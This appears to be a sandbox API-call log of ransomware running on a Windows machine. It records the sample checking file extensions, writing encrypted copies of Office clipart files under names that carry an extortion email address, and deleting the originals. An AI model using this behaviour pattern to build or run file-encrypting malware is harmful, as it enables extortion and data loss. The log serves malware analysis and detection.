lstrlenW (lpString=".ppt") returned 4 [0288.361] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.361] lstrlenW (lpString=".zip") returned 4 [0288.361] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.361] lstrlenW (lpString=".rar") returned 4 [0288.361] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString=".bz2") returned 4 [0288.361] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString=".7z") returned 3 [0288.361] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.361] lstrlenW (lpString=".dbf") returned 4 [0288.361] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.361] lstrlenW (lpString=".1cd") returned 4 [0288.361] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.361] lstrlenW (lpString=".jpg") returned 4 [0288.361] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.362] lstrlenW (lpString=".doc") returned 4 [0288.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.362] lstrlenW (lpString=".docx") returned 5 [0288.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.362] lstrlenW (lpString=".pdf") returned 4 [0288.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.362] lstrlenW (lpString=".xls") returned 4 [0288.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.362] lstrlenW (lpString=".xlsx") returned 5 [0288.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.362] lstrlenW (lpString=".ppt") returned 4 [0288.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.624] lstrlenW (lpString=".zip") returned 4 [0288.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.624] lstrlenW (lpString=".rar") returned 4 [0288.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.624] lstrlenW (lpString=".bz2") returned 4 [0288.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.624] lstrlenW (lpString=".7z") returned 3 [0288.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.625] lstrlenW (lpString=".dbf") returned 4 [0288.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.625] lstrlenW (lpString=".1cd") returned 4 [0288.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0288.625] lstrlenW (lpString=".jpg") returned 4 [0288.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.625] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0288.625] lstrlenW (lpString="BS00438_.WMF") returned 12 [0288.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.057] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=1212) returned 1 [0289.057] CloseHandle (hObject=0x10a8) returned 1 [0289.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0289.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.057] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.057] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.059] GetLastError () returned 0x0 [0289.059] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x4bc, lpOverlapped=0x0) returned 1 [0289.060] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x4c0, lpOverlapped=0x0) returned 1 [0289.061] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.061] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.061] SetEndOfFile (hFile=0x1098) returned 1 [0289.061] CloseHandle (hObject=0x1098) returned 1 [0289.061] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.062] SetEndOfFile (hFile=0x10a8) returned 1 [0289.062] CloseHandle (hObject=0x10a8) returned 1 [0289.062] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.062] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0289.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.063] lstrlenW (lpString=".doc") returned 4 [0289.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString=".docx") returned 5 [0289.063] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.063] lstrlenW (lpString=".pdf") returned 4 [0289.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString=".xls") returned 4 [0289.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.063] lstrlenW (lpString=".xlsx") returned 5 [0289.063] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.063] lstrlenW (lpString=".ppt") returned 4 [0289.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.063] lstrlenW (lpString=".zip") returned 4 [0289.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.063] lstrlenW (lpString=".rar") returned 4 [0289.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString=".bz2") returned 4 [0289.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString=".7z") returned 3 [0289.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.063] lstrlenW (lpString=".dbf") returned 4 [0289.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString=".1cd") returned 4 [0289.064] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString=".jpg") returned 4 [0289.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString=".doc") returned 4 [0289.064] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString=".docx") returned 5 [0289.064] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.064] lstrlenW (lpString=".pdf") returned 4 [0289.064] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString=".xls") returned 4 [0289.064] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.064] lstrlenW (lpString=".xlsx") returned 5 [0289.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.064] lstrlenW (lpString=".ppt") returned 4 [0289.064] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString=".zip") returned 4 [0289.064] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.064] lstrlenW (lpString=".rar") returned 4 [0289.064] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString=".bz2") returned 4 [0289.064] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.064] lstrlenW (lpString=".7z") returned 3 [0289.064] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.064] lstrlenW (lpString=".dbf") returned 4 [0289.064] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.065] lstrlenW (lpString=".1cd") returned 4 [0289.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0289.065] lstrlenW (lpString=".jpg") returned 4 [0289.065] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.065] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.065] lstrlenW (lpString="BS01634_.WMF") returned 12 [0289.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.065] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=3494) returned 1 [0289.065] CloseHandle (hObject=0x10a8) returned 1 [0289.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220 [0289.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.066] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.066] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.066] GetLastError () returned 0x0 [0289.066] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xda6, lpOverlapped=0x0) returned 1 [0289.067] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xdb0, lpOverlapped=0x0) returned 1 [0289.068] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.068] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.068] SetEndOfFile (hFile=0x1098) returned 1 [0289.068] CloseHandle (hObject=0x1098) returned 1 [0289.068] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.068] SetEndOfFile (hFile=0x10a8) returned 1 [0289.069] CloseHandle (hObject=0x10a8) returned 1 [0289.069] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString=".doc") returned 4 [0289.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString=".docx") returned 5 [0289.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.070] lstrlenW (lpString=".pdf") returned 4 [0289.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString=".xls") returned 4 [0289.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.070] lstrlenW (lpString=".xlsx") returned 5 [0289.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.070] lstrlenW (lpString=".ppt") returned 4 [0289.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString=".zip") returned 4 [0289.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.070] lstrlenW (lpString=".rar") returned 4 [0289.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString=".bz2") returned 4 [0289.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString=".7z") returned 3 [0289.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString=".dbf") returned 4 [0289.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString=".1cd") returned 4 [0289.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.070] lstrlenW (lpString=".jpg") returned 4 [0289.071] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.071] lstrlenW (lpString=".doc") returned 4 [0289.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString=".docx") returned 5 [0289.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.071] lstrlenW (lpString=".pdf") returned 4 [0289.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString=".xls") returned 4 [0289.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.071] lstrlenW (lpString=".xlsx") returned 5 [0289.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.071] lstrlenW (lpString=".ppt") returned 4 [0289.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.071] lstrlenW (lpString=".zip") returned 4 [0289.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0289.071] lstrlenW (lpString=".rar") returned 4 [0289.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString=".bz2") returned 4 [0289.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString=".7z") returned 3 [0289.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.071] lstrlenW (lpString=".dbf") returned 4 [0289.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.071] lstrlenW (lpString=".1cd") returned 4 [0289.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0289.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68 [0289.072] lstrlenW (lpString=".jpg") returned 4 [0289.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0289.072] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0289.072] lstrlenW (lpString="BS01635_.WMF") returned 12 [0289.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.072] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=14996) returned 1 [0289.072] CloseHandle (hObject=0x10a8) returned 1 [0289.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x220 [0289.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0289.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0289.072] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.072] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0289.073] GetLastError () returned 0x0 [0289.073] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x3a94, lpOverlapped=0x0) returned 1 [0289.074] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x3aa0, lpOverlapped=0x0) returned 1 [0289.075] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0289.075] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0289.075] SetEndOfFile (hFile=0x1098) returned 1 [0289.075] CloseHandle (hObject=0x1098) returned 1 [0289.075] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0289.076] SetEndOfFile (hFile=0x10a8) returned 1 [0289.076] CloseHandle (hObject=0x10a8) returned 1 [0289.076] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0289.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01635_.wmf")) returned 1 [0289.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.077] lstrlenW (lpString=".doc") returned 4 [0289.077] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0289.077] lstrlenW (lpString=".docx") returned 5 [0289.077] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0289.077] lstrlenW (lpString=".pdf") returned 4 [0289.077] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0289.077] lstrlenW (lpString=".xls") returned 4 [0289.077] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0289.077] lstrlenW (lpString=".xlsx") returned 5 [0289.077] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0289.077] lstrlenW (lpString=".ppt") returned 4 [0289.077] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0289.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68 [0289.077] lstrlenW (lpString=".zip") returned 